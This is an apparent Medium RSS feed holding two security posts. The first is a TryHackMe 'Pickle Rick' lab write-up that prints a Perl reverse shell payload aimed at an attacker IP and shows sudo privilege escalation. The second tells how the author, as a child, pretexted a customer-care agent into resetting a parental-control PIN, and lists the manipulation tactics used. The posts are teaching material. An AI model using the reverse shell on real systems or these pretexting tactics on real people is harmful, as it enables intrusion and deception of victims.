<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ritiksahni on Medium]]></title>
        <description><![CDATA[Stories by ritiksahni on Medium]]></description>
        <link>https://medium.com/@ritiksahni0203?source=rss-1bc73368f693------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*ki_B8ZtWHlLagx-hm1gPWQ.jpeg</url>
            <title>Stories by ritiksahni on Medium</title>
            <link>https://medium.com/@ritiksahni0203?source=rss-1bc73368f693------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:34:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ritiksahni0203/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PickleRick — TryHackMe Writeup]]></title>
            <link>https://infosecwriteups.com/picklerick-tryhackme-writeup-74c6fedae081?source=rss-1bc73368f693------2</link>
            <guid isPermaLink="false">https://medium.com/p/74c6fedae081</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[ritiksahni]]></dc:creator>
            <pubDate>Fri, 10 Apr 2020 10:52:41 GMT</pubDate>
            <atom:updated>2020-04-12T09:46:11.423Z</atom:updated>
            <content:encoded><![CDATA[<h3>PickleRick — TryHackMe Writeup</h3><p>Pickle Rick is a Rick and Morty themed tryhackme room where we exploit a webserver to find 3 ingredients or flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*K3gLWti8K7UyprucM8uKvQ.png" /></figure><p>Let’s start with enumeration.</p><h3>Port Scanning</h3><pre>Starting Nmap 7.80 ( https://nmap.org ) at 2020–04–10 15:35 IST<br>Nmap scan report for 10.10.222.8<br>Host is up (0.22s latency).<br>Not shown: 998 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds</pre><p>Nmap gives us this result and only 2 ports are open.</p><p>Let’s move ahead to the website running on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LK25TllRhSNTU1_fIQohaw.png" /></figure><p>This webpage comes up on port 80. There’s no useful data in here.</p><p>But what if we check the page source?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwwKyE501Ye8QtvwMunLnA.png" /></figure><p>We got a username here in HTML comment!!</p><pre>Note to self, remember username!<br><br>Username: R1ckRul3s</pre><p>But where do we have to use it?</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FY4KWPRcaY1xuZgmwRY%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fmemecandy-Y4KWPRcaY1xuZgmwRY&amp;image=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FY4KWPRcaY1xuZgmwRY%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="324" frameborder="0" scrolling="no"><a href="https://medium.com/media/fda267935e875e20e14034b1c91fa835/href">https://medium.com/media/fda267935e875e20e14034b1c91fa835/href</a></iframe><h4>More Enumeration!!!!!</h4><p>I used dirsearch to find out interesting directories and files.</p><pre>[15:49:33] 301 -  311B  - /assets  -&gt;  <a href="http://10.10.222.8/assets/">http://10.10.222.8/assets/</a><br>[15:49:40] 200 -    1KB - /index.html<br>[15:49:42] 200 -  882B  - /login.php<br>[15:49:47] 200 -   17B  - /robots.txt</pre><p>Dirsearch result gave me a few directories which could be interesting.</p><p>/assets had GIF, CSS, JS files which are being used in the website, nothing interesting there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*f5JsuDuj70nOhc7WkJAnSw.png" /></figure><p>I headed over to robots.txt file to see if there’s anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*WEO694ZAFOG5Ci9Hxm5mBw.png" /></figure><p>It had this weird string <em>Wubbalubbadubdub</em></p><p>Next thing to see was the most interesting page found by dirsearch, the login page!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0z7WcFLcq0rl-ErGlmm6g.png" /></figure><p>/login.php served this basic login page! We have a username which we found in the page source! ‘<em>R1ckRul3s</em>’.</p><p>WHAT COULD BE THE PASSWORD!!! Maybe the weird string we found in robots.txt?</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FKB7wTwgc58Lij6Gcv0%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fmasterchef-fox-season-10-foxtv-KB7wTwgc58Lij6Gcv0&amp;image=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FKB7wTwgc58Lij6Gcv0%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/984a4d0a65b729b23a7f6d94b77e80fa/href">https://medium.com/media/984a4d0a65b729b23a7f6d94b77e80fa/href</a></iframe><p>I tried username ‘<em>R1ckRul3s</em>’ and password ‘<em>Wubbalubbadubdub</em>’.</p><p><strong>LOGIN SUCCESSFUL!!!</strong></p><p>We are redirected to /portal.php in which we are given a command panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-JzV-F3A1Q76suSKXuK30g.png" /></figure><p>Trying ‘<em>ls’ </em>lists out all the files in the directory including ‘<em>Sup3rS3cretPickl3Ingred.txt’</em></p><p>But wait!! We can’t read the file! If we type in ‘cat Sup3rS3cretPickl3Ingred.txt’ we are served with an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvLeJUwUS0_4OMr8KMyBxA.png" /></figure><p>Head over to <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Pentest Monkey’s Reverse Shell Cheatsheet</a>.</p><p>I tried bash reverse shell payload but it didn’t work, next up is perl payload.</p><pre>perl -e &#39;use Socket;$i=&quot;ATTACKER-IP&quot;;$p=LISTENING-PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&#39;</pre><p>This payload WORKED!!! We got the shell using the perl reverse shell payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*sX2voviG-GOcvGZjzqz5wg.png" /></figure><p>We have our first flag, there are 2 more flags in the machine. Let’s read the clue.txt to see if there’s anything which can lead us to flag 2.</p><p>Content of clue.txt :-</p><pre>Look around the file system for the other ingredient.</pre><p>I tried finding flags in several directories and finally got the second flag in home directory of the user ‘rick’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/1*IaGRYPIGeNsutSIYV01sYQ.png" /></figure><p>Heyo! Third flag is still somewhere in the machine!!</p><p>I tried <em>sudo -l</em> to see if we have any sudo permissions!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*UF_uFCjgTC09aDeGEAUyUA.png" /></figure><h4>We can use any command as root without password!!!</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3o6Zt5hA1azGgc7WiQ%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fufc-boom-3o6Zt5hA1azGgc7WiQ&amp;image=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3o6Zt5hA1azGgc7WiQ%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd2082d57a76a543c76634364c9bc085/href">https://medium.com/media/cd2082d57a76a543c76634364c9bc085/href</a></iframe><p>We got the 3rd flag in /root directory!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/234/1*uMkVsqvzhFow1hotAeSyPw.png" /></figure><p>Fuzzing around with different reverse shell payloads might actually be beneficial and maybe we can get access!!</p><p>Thanks for reading the writeup! Hope you liked it ;-)</p><p>Contact me:</p><p><a href="https://twitter.com/RitikSahni22">Ritik Sahni (http.deep)</a></p><p>Email: ritiksahni0203@gmail.com</p><p>Cheers!</p><p>Ritik Sahni</p><p><em>Follow </em><a href="https://medium.com/bugbountywriteup"><em>Infosec Write-ups</em></a><em> for more such awesome write-ups.</em></p><p><a href="https://medium.com/bugbountywriteup">InfoSec Write-ups</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74c6fedae081" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/picklerick-tryhackme-writeup-74c6fedae081">PickleRick — TryHackMe Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Social Engineering: The psychological attack.]]></title>
            <link>https://medium.com/@ritiksahni0203/social-engineering-ritiksahni-ab04bdf4c6b3?source=rss-1bc73368f693------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab04bdf4c6b3</guid>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[ritiksahni]]></dc:creator>
            <pubDate>Thu, 03 Oct 2019 15:45:41 GMT</pubDate>
            <atom:updated>2019-10-03T15:58:32.945Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Hey everyone! I hope you’re all doing great!</em></p><h4>This write-up is all about <em>‘Social Engineering’.</em> I’m gonna share a story with you guys about an unintended social engineering attack which I performed.</h4><blockquote>Let’s start by understanding what actually social engineering is?!</blockquote><blockquote>Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJOjEommvMTHxdJERZgwFQ.jpeg" /><figcaption>Source: Pexels (<a href="https://www.pexels.com/photo/photo-of-person-typing-on-computer-keyboard-735911/">https://www.pexels.com/photo/photo-of-person-typing-on-computer-keyboard-735911/</a>)</figcaption></figure><p>So we all grew up exploring the stuff around and gadgets which we had and it’s quite usual these days for the kids to explore and mess up with the gadgets which they see.</p><p>Once upon a time when I was super young I was exploring the features of my T.V. and the Set Top Box (It may sound weird but it’s fun to explore stuff around.)</p><p>I was using some of the features and suddenly got my hands up on “Parental Control” feature which was in my Set Top Box which usually filters out content according to the certification and age rating that the content has or maybe locking a few channels manually which is done by parents for their kids usually or might be some other reason. That moment of time I was really interested to know what this thing can do as I was really unaware about that particular stuff.</p><p>I had set the 4 digit numerical password with the normal set top box remote and started playing with it. I locked out the channels for fun and used to revert back those settings after few minutes lol! I did silly stuff with it which was quite fun for me at that age.</p><p>When I was done with playing I started watching my cartoons and regular stuff just the way I used to.</p><p>After few weeks or maybe months, suddenly I wished to play with that feature again! <strong>This is where the real thing begins!!</strong></p><p>When I opened the normal settings where the parental control settings were I realised that I just had forgotten the password!! That time I thought that “Woah, what should I do now?”. I tried to guess the passwords and tried alot but ended up still hoping that some angels come and give me the password. <strong>Kidding!!</strong></p><p>I thought to call up the customer care department of the particular DTH company. I called them at the sudden moment and said something like:</p><p><strong><em>Me (Ritik): Hello, my name is Ritik and I was watching TV and saw that there is some parental control activated upon my favorite cartoon channels I spoke to my mom and unfortunately she forgot the password and I really need to watch my channels so could you please reset the password of the parental control thing right here?</em></strong></p><p><strong><em>Customer care guy: Hello, I’m sorry for the inconvenience but at this moment of time I can only reset the password after talking to your parents.</em></strong></p><p>→ The guy figured out that I was a kid because of my voice and that I requested him to reset the password because I wanna watch cartoons (Adult do watch cartoons but yeah it’s easy to figure this out that who’s demanding to watch those cartoon stuff lol)</p><p><strong><em>Me (Ritik): Sir, can’t you just reset the password without talking to my parents? I mean what’s the issue? Why aren’t you resetting the password. It’s quite unusual that the customer care department requests us to hand up the phone to the parents.</em></strong></p><p><strong><em>Customer care guy: I’m sorry but it is about the parental control feature and currently we can’t reset the password unless you are the parent and you had set a lock for the children around there.</em></strong></p><p>→That made it clear that he doubted that I wanna make the channels unlocked without my parents’ permission.</p><p><strong><em>Me (Ritik): Sir, my mom just went out of the house and she only asked me to call your department and make the password reset as she just forgot the password and is busy in some work and by the way she only got the number of your department, dialled it up so I can talk regarding this situation. So in that case, I won’t be able to make you talk to my mom but yeah she was the only one who asked me to call your department and make the password reset thing happen. I don’t even know how these settings work. I’m asking about this from behalf of my mom and I’ll also get to watch some of my favorite things on the TV. Could you please make it fast as I also have to go outside with my mom as I just got great grades in my exam today and she’s gonna give me a treat. I’ll watch my shows after I return and when mom sets it up.</em></strong></p><p><strong><em>Customer care guy: Ok, now I have reset the password and you can watch all the locked channels but putting up 0000 as the pin.</em></strong></p><p><strong><em>Me(Ritik): Thank you sir, I’ll tell my mom to do the same as I don’t know how to. Thanks again and have a nice day ahead.</em></strong></p><p>→ I hung up the call.</p><p>Bang! I just convinced that guy after explaining some story which I built up in my brain and made it look real!!</p><p>Wait a second, we are talking about social engineering so let’s break this case study and focus on few points.</p><ol><li>As a kid I said that my mom isn’t available to talk right now and the believed it easily.</li><li>I acted a bit dumb when I said that I don’t even know the number of your center and my mom dialled it which may have made the guy think that this kid is actually saying the truth and mom isn’t available to talk.</li><li>I made him realise the same thing more when I said that I don’t know how to use these features and lock or unlock the channels. So this thing actually built the thing stronger in his brain and he started to trust me.</li><li>I said that I also have to go with my mom in few minutes so it made a sense of urgency between us which made him think about it faster!</li><li>The story strengthened up in his brain when I said that I actually had to go for a treat which was supposed to be with my mom because I got good grades in exam.</li></ol><blockquote>For what purpose do parents put up parental control usually? Yes!! During exams!</blockquote><blockquote>That made the customer care guy to believe that my mom had actually forgotten the password and now as the exam is over, we need to unlock the channels back!</blockquote><p>The guy got convinced just by those small <strong><em>brain game</em></strong> stuff played which is described in the above points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1wLWu68Zv6YsUjVemRKWrw.jpeg" /><figcaption>Source: Pexels (<a href="https://www.pexels.com/photo/blur-business-close-up-coding-289927/">https://www.pexels.com/photo/blur-business-close-up-coding-289927/</a>)</figcaption></figure><p><strong><em>What after the story?</em></strong></p><p><strong>It simply explains us that social engineering has the power to make anyone fall up and make security mistakes. These days scam and fraudsters try to do such stuff with the victims and even if a small percentage of people get trapped it all ends up with the attacker having money or any thing for which he/she performed such social engineering just like I got the PIN reset so easily, some hard social engineering techniques can make people fall into them.</strong></p><p><strong><em>How to stay away from such attacks?</em></strong></p><ol><li><strong>Always make sure that you are aren’t opening emails and attachments from untrusted sources as social engineering attack is also possible without active contact between the attacker and the victim.</strong></li><li><strong>Always use 2 Factor Authentication which makes sure that even if the attacker gets our password he can’t use our accounts without the OTP or the one time password.</strong></li><li><strong>The attackers try to make the victims tempted towards many fake products and services which may lead to scam so confirming the validity of every detail of the suspicious person like the name, company, branch, email address and similar information will be a good step.</strong></li><li><strong>Most important step: Act Smart, you’ll be safe ;)</strong></li></ol><p>Reference: <a href="https://www.imperva.com/learn/application-security/social-engineering-attack/">https://www.imperva.com/learn/application-security/social-engineering-attack/</a></p><p>I hope you guys like this write-up and I wish that you stay safe from such <strong><em>social engineering</em></strong> attacks!!</p><blockquote><strong>Brain game is really powerful ;)</strong></blockquote><p>Thank You</p><p>Ritik Sahni</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab04bdf4c6b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>